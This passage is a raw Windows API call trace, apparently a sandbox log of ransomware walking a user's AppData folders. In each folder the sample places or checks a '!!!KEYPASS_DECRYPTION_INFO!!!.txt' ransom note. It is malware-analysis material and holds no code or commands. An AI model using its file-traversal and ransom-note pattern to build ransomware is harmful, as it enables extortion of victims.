GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0316.596] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0316.596] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018082020180821\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.597] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018082020180821\\container.dat") returned=".dat" [0316.597] FindNextFileW (in: hFindFile=0x64fb7b0, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 0 [0316.597] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.597] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.597] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.598] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.598] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0316.598] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0316.598] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0316.599] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.599] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\container.dat") returned=".dat" [0316.599] FindNextFileW (in: hFindFile=0x64fb830, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 0 [0316.876] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0316.877] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0316.877] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0316.919] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\IECompatCache\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.919] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\IECompatCache\\container.dat") returned=".dat" [0316.920] FindNextFileW (in: hFindFile=0x64fb870, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0316.920] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.921] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.921] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.924] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\IECompatCache\\Low\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.924] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\IECompatCache\\Low\\container.dat") returned=".dat" [0316.924] FindNextFileW (in: hFindFile=0x64fb0b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0316.943] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0316.943] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0316.943] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0316.946] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\IECompatUaCache\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.946] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\IECompatUaCache\\container.dat") returned=".dat" [0316.946] FindNextFileW (in: hFindFile=0x64fb0f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0316.947] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.948] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.948] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.950] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\IECompatUaCache\\Low\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.950] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\IECompatUaCache\\Low\\container.dat") returned=".dat" [0316.950] FindNextFileW (in: hFindFile=0x64fbbf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0316.951] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0316.951] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0316.952] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0316.953] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\IEDownloadHistory\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.953] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\IEDownloadHistory\\container.dat") returned=".dat" [0316.961] FindNextFileW (in: hFindFile=0x64fbd30, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0316.963] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0316.963] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0316.963] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0316.971] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.973] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.973] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.973] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.975] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.975] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.975] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.977] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.978] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0316.978] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0316.978] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0316.980] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO\\VisioLogFiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.980] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.980] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.980] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.981] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.981] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat") returned=".dat" [0316.982] FindNextFileW (in: hFindFile=0x64fb930, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0316.982] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.982] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\container.dat") returned=".dat" [0316.982] FindNextFileW (in: hFindFile=0x64fbc30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0316.984] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.985] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.985] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.986] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.986] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0316.986] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0316.986] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0316.988] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0316.988] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0316.988] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0316.989] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low\\IE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.989] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low\\IE\\container.dat") returned=".dat" [0316.989] FindNextFileW (in: hFindFile=0x64fbbb0, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 0 [0316.989] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low\\MSIMGSIZ.DAT") returned=".DAT" [0316.989] FindNextFileW (in: hFindFile=0x64fbaf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0316.989] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low\\SmartScreenCache.dat") returned=".dat" [0316.989] FindNextFileW (in: hFindFile=0x64fbaf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0316.989] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low\\SuggestedSites.dat") returned=".dat" [0316.989] FindNextFileW (in: hFindFile=0x64fbaf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0316.990] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.990] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.990] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.991] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.992] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0316.992] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0316.992] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0316.993] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized\\C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.993] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0316.994] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0316.994] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0316.995] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized\\C\\Users\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.995] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0316.995] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0316.995] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0316.996] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized\\C\\Users\\CIiHmnxMn6Ps\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.996] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0316.996] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0316.997] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0316.998] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized\\C\\Users\\CIiHmnxMn6Ps\\AppData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.999] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cde8, cchData=2 | out: lpLCData="0") returned 2 [0316.999] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdd4, cchData=2 | out: lpLCData="0") returned 2 [0316.999] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdc4, cchData=2 | out: lpLCData="0") returned 2 [0317.000] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized\\C\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.000] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ca98, cchData=2 | out: lpLCData="0") returned 2 [0317.000] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ca84, cchData=2 | out: lpLCData="0") returned 2 [0317.000] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ca74, cchData=2 | out: lpLCData="0") returned 2 [0317.001] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized\\C\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.001] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4c748, cchData=2 | out: lpLCData="0") returned 2 [0317.002] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4c734, cchData=2 | out: lpLCData="0") returned 2 [0317.002] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4c724, cchData=2 | out: lpLCData="0") returned 2 [0317.002] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized\\C\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.003] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4c3f8, cchData=2 | out: lpLCData="0") returned 2 [0317.004] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4c3e4, cchData=2 | out: lpLCData="0") returned 2 [0317.004] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4c3d4, cchData=2 | out: lpLCData="0") returned 2 [0317.004] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized\\C\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.005] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4c3f8, cchData=2 | out: lpLCData="0") returned 2 [0317.005] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4c3e4, cchData=2 | out: lpLCData="0") returned 2 [0317.005] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4c3d4, cchData=2 | out: lpLCData="0") returned 2 [0317.006] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized\\C\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.006] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0317.007] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0317.007] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0317.008] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.008] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\2XBM2EDN.txt") returned=".txt" [0317.008] FindNextFileW (in: hFindFile=0x64fbeb0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0317.008] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\8489XH4E.txt") returned=".txt" [0317.008] FindNextFileW (in: hFindFile=0x64fbeb0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0317.008] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\B4K109K7.txt") returned=".txt" [0317.008] FindNextFileW (in: hFindFile=0x64fbeb0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0317.008] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\B67M68H4.txt") returned=".txt" [0317.008] FindNextFileW (in: hFindFile=0x64fbeb0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0317.008] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\container.dat") returned=".dat" [0317.008] FindNextFileW (in: hFindFile=0x64fbeb0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0317.039] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.039] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.039] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.040] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.040] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\container.dat") returned=".dat" [0317.040] FindNextFileW (in: hFindFile=0x64fb8f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.041] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0317.041] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0317.041] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0317.042] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\Low\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.044] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.045] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.045] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.045] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.045] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\0GHTMU6X.txt") returned=".txt" [0317.046] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.046] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\0MDKR34W.txt") returned=".txt" [0317.046] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.046] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\0Z1JIEVI.txt") returned=".txt" [0317.046] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.046] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\16DOE15M.txt") returned=".txt" [0317.046] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.046] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\16Y0X4V7.txt") returned=".txt" [0317.046] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.046] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\1L3KU69N.txt") returned=".txt" [0317.046] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.046] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\1LFQZEOH.txt") returned=".txt" [0317.046] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.046] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\1LLUY7B7.txt") returned=".txt" [0317.046] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.046] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\1UYN2RFY.txt") returned=".txt" [0317.046] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.046] PathFindExtensionW 